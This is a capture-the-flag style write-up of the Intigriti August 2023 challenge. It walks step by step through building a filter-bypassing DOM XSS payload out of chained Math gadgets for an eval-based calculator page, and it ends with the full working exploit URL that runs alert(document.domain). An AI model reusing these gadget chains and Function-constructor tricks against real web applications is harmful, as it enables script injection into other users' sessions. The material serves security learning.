Write-Up - Intigriti August 2023 Challenge 0823 - DOM XSS using Math module with filters
2023-08-24
Hi all ! Back with a write-up for an Intigriti challenge 😊. This time, it is the Intigriti August 2023 challenge created by @aszx87410
.
Statement
This challenge greets us with a Pure Functional Math Calculator
. Understand here that all of our inputs are supposed to be functions. A normal use would look like the image below.
Here, the 1
we get is the result of the following formula : Math.round(Math.cos(Math.sin(Math.random())))
. In order to get that formula from the get go with a link, we would have the GET argument ?q=Math.random,Math.sin,Math.cos,Math.round
.
So you see where this is going. We are going to inject some sort of payload in this argument in order to get the alert(document.domain)
executed with no user interaction.
The hint we were given was that we had to use arrays to later join them.
Overview
First glance
So the ‘recon’ part of this challenge is actually quite straight forward, we have everything in front of us in the Javascript script of the page.
(function(){
name = 'Pure Functional Math Calculator'
let next
Math.random = function () {
if (!this.seeds) {
this.seeds = [0.62536, 0.458483, 0.544523, 0.323421, 0.775465]
next = this.seeds[new Date().getTime() % this.seeds.length]
}
next = next * 1103515245 + 12345
return (next / 65536) % 32767
}
console.assert(Math.random() > 0)
const result = document.querySelector('.result')
const stack = document.querySelector('.stack-block')
let operators = []
document.querySelector('.pad').addEventListener('click', handleClick)
let qs = new URLSearchParams(window.location.search)
if (qs.get('q')) {
const ops = qs.get('q').split(',')
if (ops.length >= 100) {
alert('Max length of array is 99, got:' + ops.length)
return init()
}
for(let op of ops) {
if (!op.startsWith('Math.')) {
alert(`Operator should start with Math.: ${op}`)
return init()
}
if (!/^[a-zA-Z0-9.]+$/.test(op)) {
alert(`Invalid operator: ${op}`)
return init()
}
}
for(let op of ops) {
addOperator(op)
}
calculateResult()
} else {
init()
}
[...]
function addOperator(name) {
result.innerText = `${name}(${result.innerText})`
operators.push(name)
let div = document.createElement('div')
div.textContent = `${operators.length}. ${name}`
stack.prepend(div)
}
function calculateResult() {
result.innerText = eval(result.innerText)
}
[...]
})()
So let’s break this script down a little bit. This code basically :
- Redefines the
Math.random
function with a custom function, adding theMath.seeds
attributes as well (an Array) - Retrieves the
?q
argument and performs some sanity checks on it - Creates the Math formula from the
?q
argument - Executes the formula with an
eval
So with the previous example, we would execute eval('Math.round(Math.cos(Math.sin(Math.random())))')
Argument format and sanity checks
So the format of the argument is a sequence of function names (gadgets) starting with Math.
separated by commas
, so only accessing things from this built-in package. The list of constrains are :
- Gadgets can only start with
Math.
- We can have a total of
99
gadgets maximum - Gadgets can only contain alphanumeric characters and dots (see regexp)
I think there’s is no way around these constrains, so we are going to have to follow the rules this time !
Objective of the payload
So first we need to define the aim of our payload. We can basically separate that in two parts :
- Constructing the string
alert(document.domain)
- Executing this command at the end of the payload
At first, one might think that only getting the string out of the payload would be sufficient. But the eval
function will only execute one level of depth. So if our payload is only outputting the alert
command, we would basically only get a string as a result and no pop-up.
Constructing the payload
So quite fast we can see that the only way we can craft anything is by using the Math.seeds
property defined in the script. This Array will be used to store the characters of the string alert(document.alert)
which we can then join to obtain the string.
So basically :
>> Math.seeds;
Array(22) [ "a", "l", "e", "r", "t", "(", "d", "o", "c", "u", … ]
>> Math.seeds.join('')
'alert(document.domain)'
So we need to think about how we can get each character inside the array
with all the constrains we have.
Know that I am going to explain this directly but it was a lot of trial and error in the JS console 🤓.
Emptying the array
So the first thing we need to do is empty the Math.seeds
Array of its base values. Remember we have a limited amount of gadgets, so we are going to try and find the most efficient way of doing that.
After some tests (and DuckDuckGo-ing), I settled with
Math.seeds.splice(Math.seeds.pop.length.valueOf())
// equivalent to Math.seeds.splice(0)
So yeah, this would empty the array, and better than 5 pops
in a row.
Getting the letters in the array
Let’s start with the ’easy’ part, getting all the standard letters of the payload in the array. These would be : alert, document, domain
.
The way we can get letters in this context is by using the names of the properties
we can access directly. Then use the at
function on these names (strings) which would give us the nth
character of that name at the given index in argument.
For example :
>> Math.acos.name.at(2)
'o'
Note that this only works with function names
.
So this is the way I am going to proceed. I choose to add the letters in reverse order
, but I would assume it is the same thing if you do it in normal order. So I would add domain
in reverse which is niamod
first.
So my base payload to add one character is :
Math.seeds.unshift(Math.acos.name(2))
This will add o
at the beginning
of the Math.seeds
array.
Now another thing to consider is the index at which we call the at
function. The function Math.seeds.unshift
returns the length
of the array after the addition of the new element.
So a chain of two characters considering we have no element to begin with will return 2
:
>> Math.seeds.unshift(Math.acos.name.at(Math.seeds.unshift(Math.acos.name.at())))
2
>> Math.seeds
Array(2) ['c', 'a']
(If the at
function has no argument, it will be considered to be 0
). So this is starting to become ugly (get used to it, challenge sponsored by WayTooLongAndUglygPayloads Inc.
).
This snippet would first add the character at index 0
of acos
which is a
. Then the first unshift
returns 1
, so the second part would unshift (add) in the array the character at index 1
of acos
, which is c
.
So this would let us with a total of 2
gadgets (the at
and the unshift
) for each letter. Remember that we have a length limit of 99
gadgets, so this is important to consider.
But what if we cannot find any function name
that can give us the character we want at index n
(spoiler alert : we will) ?
Getting a letter at index 0
So to circumvent this problem, I chose to use the same technique but force the payload to look for the letter at index 0
. For that, we only need to specify an argument that is equivalent to 0
to the at
function ('', '0', 0,...
).
I choose to use Math.random.name.toString
which returns ''
, so for example :
>> Math.seeds.unshift(Math.ceil.name.at(Math.random.toString()))
1
>> Math.seeds
['c']
So when we cannot find any method at the current Math.seeds
length for the character we want, we can use this technique. But that requires 3
gadgets for one character, so we need to use it only when necessary.
We will get later into the how to actually get those gadgets when we actually have the general structure of the payload.
By the way, each time we will need a ''
or 0
value, you will see a Math.random.name.toString()
pop. We could also use Math.seeds.pop.length.valueOf
as well.
Getting the parenthesis
Now on to the fun
part. So we have ()
in our output string, which means we have to get those somewhere.
So playing with the JS console we can see that :
>> Math.random.toString()
'function () {
if (!this.seeds) {
'
gives a string with the source code of the function Math.random
. And we can see that it starts with function ()
.
Since the first character we need in the payload is )
(reverse payload in my case), I chose to add these characters first in the array. So my strategy there was to
- Add the source code of the
Math.random
function inMath.seeds
as an array split by character (so an array in the array) - Shift this array until we get to the
(
part of the source code (10 shifts) - Push the
(
and)
at the end ofMath.seeds
- Remove (shift) the
Math.random
source code array fromMath.seeds
- Pop and unshift the
)
that was at the end ofMath.seeds
to have it at the beginning
So that would look like (everthing is chained in the real payload) :
>> Math.seeds.push(Math.seeds.slice.apply(Math.random.toString()));
// gadget that pushes the source code as an array in Math.seeds
// Result : [ ['f', 'u', 'n', ...] ]
>> parenthese = Math.seeds.shift.apply(Math.seeds.at(Math.seeds.shift.apply(Math.seeds.at(Math.seeds.shift.apply(Math.seeds.at(Math.seeds.shift.apply(Math.seeds.at(Math.seeds.shift.apply(Math.seeds.at(Math.seeds.shift.apply(Math.seeds.at(Math.seeds.shift.apply(Math.seeds.at(Math.seeds.shift.apply(Math.seeds.at(Math.seeds.shift.apply(Math.seeds.at(Math.seeds.shift.apply(Math.seeds.at(Math.random.name.toString()))))))))))))))))))))
// Basically 10 times shifting the source code array. This returns `(`
>> Math.seeds.push(parenthese)
// pushing the ')' we got from the previous command
// Result in Math.seeds : [ [')', ' ', ...], '(' ]
>> parenthese2 = Math.seeds.shift.apply(Math.seeds.at(Math.random.name.toString()))
// One more shift of the source code array to get `)`
>> Math.seeds.push(parenthese2)
// Result in Math.seeds -> [ [' ', ' ', ...], '(', ')' ]
>> Math.seeds.unshift()
// Removing the source code array, result in Math.seeds ['(', ')']
>> Math.seeds.unshift(Math.seeds.pop())
// getting the ')' at the end at the beginning of Math.seeds
So the end result of all these gagdgets chained would be that we have in Math.seeds
the array [ ')', '(' ]
.
One particular concept used here is the xxx.apply()
method, here Math.seeds.shift.apply
. The apply
function is a property of another function.
It allows us to use a method of an object, here Math.seeds.shift
on another object, here we use it on the Array located in Math.seeds[0]
, the source code array.
So from this, we can start adding the document.domain
letters to obtains the Array
['d', 'o', 'c' , 'u', 'm', 'e', 'n', 't', '.', 'd', 'o', 'm', 'a', 'i', 'n', ')','(']
From this, we only need to use
Math.seeds.unshift(Math.seeds.pop())
to move the (
before the document
word and have (document.domain)
all set !
Getting the dot
Now on to the final character, I call .
. So Mrs.Dot here will have the same treatment as the parentheses. We are going to use the same technique, that is pushing an Array of characters containing a .
, shifting until we get to it, pushing the .
at the end of Math.seeds
to eventually add it to our payload at the begininning of Math.seeds
.
For this, I will use Math.LN2
which returns a number
equal to 0.6931471805599453
. I used this particular one because I needed to have a 0
before the dot in order to save one gadget spot (needed a 0
for an at
function).
So the steps are the exact same as before, but we instead have only 2 shifts
to get to the .
. I will also extract the dot only when I arrive to domain)
in my payload, in order to use it directly.
>> Math.seeds.unshift(Math.seeds.slice.apply(Math.LN2.toString()))
// Unshift array of chars in Math.seeds
// result in Math.seeds : [ ['0', '.', ...], 'd', 'o', 'm', 'a', 'i', 'n' ')' ,'(' ]
>> dot = Math.seeds.shift.apply(Math.seeds.at(Math.seeds.shift.apply(Math.seeds.at(Math.random.name.toString()))))
// shifting twice to extract the `.`. This outputs the dot char
>> Math.seeds.unshift(Math.seeds.pop(Math.seeds.shift(Math.seeds.push(dot))))
// Pushing the dot at the end of Math.seeds, removing the array of char we added, and placing the dot at the beginning of Math.seeds
So there we have it, our .
right where we need it to be !
Joining and executing the payload
So after we somehow get all the gadgets we need, we have in Math.seeds
['a', 'l', 'e', 'r', 't', '(', 'd', 'o', 'c', 'u', 'm', 'e', 'n', 't', '.', 'd', 'o', 'm', 'a','i', 'n']
We can join it with
>> Math.seeds.join(Math.random.name.toString())
// equivalent of Math.seeds.join('')
to get alert(document.domain)
as an output. We then need to execute that command. One method I had already used in CTF was to create a function with constructor
.
Basically, every JS object has a constructor
property that outputs a function that can be used to create another object of the same type. But a constructor
also has a constructor
, and it is the constructor for a function
!
So we have
>> Math.constructor.constructor('alert(document.domain)')
function anonymous(
) {
alert(document.domain)
}
We have as an output a function we need to call. For this, I will use the propreties of Array that allow us to execute a function like map
, reduce
or every
. I will use every
since it will only pop the alert once, the others will do it for each element of the Math.seeds
array.
So in order to get the alert
executed, we need to add to our payload at the very end:
>> Math.seeds.every(Math.constructor.constructor(Math.seeds.join()))
// executes the alert if the Math.seeds array has our payload in it
Putting it all together.
So now we have everything we need to get the string alert(document.domain)
executed.
The only (big) thing we have left to do is find all the gadgets for all the letters.
Since I had time to kill (thank you long summer night insomnia), I automated the process of looking for each gadget.
The script (click) will use all the objects I could think of that we can access from Math.
, and list all the methods available. (the code is disgusting but it works, don’t judge).
With these methods, we try for each letter we need at its index to find the character we need
in all the methods names we have. (we can find the index by getting the size of what we added before in the Array…)
If we cannot find one, we try at index 0
like I explained (for 1 character I needed to add a case for index 1 as well …).
The script will output the payload for each word. Since we know what we need for the parentheses,dot and the other stuff
, we can just add these gadgets in the middle. The script will output this payload.
Alternative (and more efficient probably) : you can just use the JS console
and for each caracter, you try with the autocompletion to get the character you want. I ended up doing that instead, only completed the script after that (I know, useless).
To get the formated payloads for the things other than the letters, a small script with a regexp to change the ()
into ,
should suffice (I did that).
Fun fact : this payload has a length of 99
gadgets, so hum I guess I’m lucky there !
So if you use the script with node or even the JS console, it will output the following link :
https://challenge-0823.intigriti.io/challenge/index.html?q=Math.seeds.pop.length.valueOf,Math.seeds.splice,Math.random.toString,Math.seeds.slice.apply,Math.seeds.push,Math.random.toString,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.push,Math.random.name.toString,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.push,Math.seeds.shift,Math.seeds.pop,Math.seeds.unshift,Math.seeds.concat.name.at,Math.seeds.unshift,Math.seeds.splice.name.at,Math.seeds.unshift,Math.seeds.concat.name.at,Math.seeds.unshift,Math.random.name.toString,Math.seeds.map.name.at,Math.seeds.unshift,Math.seeds.isPrototypeOf.name.at,Math.seeds.unshift,Math.seeds.toSorted.name.at,Math.seeds.unshift,Math.LN2.toString,Math.seeds.slice.apply,Math.seeds.unshift,Math.random.name.toString,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.push,Math.seeds.shift,Math.seeds.pop,Math.seeds.unshift,Math.seeds.toLocaleString.name.at,Math.seeds.unshift,Math.E.toPrecision.name.at,Math.seeds.unshift,Math.seeds.findLastIndex.name.at,Math.seeds.unshift,Math.random.name.toString,Math.seeds.map.name.at,Math.seeds.unshift,Math.random.name.toString,Math.seeds.unshift.name.at,Math.seeds.unshift,Math.random.name.toString,Math.seeds.concat.name.at,Math.seeds.unshift,Math.abs.length.valueOf,Math.seeds.concat.name.at,Math.seeds.unshift,Math.random.name.toString,Math.constructor.defineProperties.name.at,Math.seeds.unshift,Math.seeds.pop,Math.seeds.unshift,Math.random.name.toString,Math.seeds.toLocaleString.name.at,Math.seeds.unshift,Math.constructor.getOwnPropertyDescriptor.name.at,Math.seeds.unshift,Math.seeds.propertyIsEnumerable.name.at,Math.seeds.unshift,Math.random.name.toString,Math.seeds.lastIndexOf.name.at,Math.seeds.unshift,Math.random.name.toString,Math.seeds.at.name.at,Math.seeds.unshift,Math.random.name.toString,Math.seeds.join,Math.constructor.constructor,Math.seeds.every
You can use it to get the alert !
Conclusion
So overall a pretty tough challenge, not even because of the technical knowledge required but mainly because of the hard constrains we needed to bypass (and it is mostly a bit long to setup). It was more about mind gymnastics than anything, but cool thing to do from time to time.
If you enjoy these types of JS shenaningans, take a look at this root-me.org challenge, I thought it was quite fun.